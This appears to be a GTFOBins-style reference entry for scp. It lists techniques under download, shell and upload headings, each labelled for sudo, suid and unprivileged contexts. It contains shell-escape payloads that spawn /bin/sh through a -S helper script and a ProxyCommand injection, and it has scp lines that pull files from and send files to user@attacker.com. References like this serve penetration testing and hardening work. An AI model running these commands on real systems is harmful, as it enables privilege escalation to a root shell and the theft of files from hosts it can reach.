scp
Download
Context: sudo, suid, unprivileged
scp user@attacker.com:/path/to/input-file /path/to/output-file
Shell
Context: sudo, suid, unprivileged
echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file x x:
Context: sudo, suid, unprivileged
scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:
Upload
Context: sudo, suid, unprivileged
scp /path/to/input-file user@attacker.com:/path/to/output-file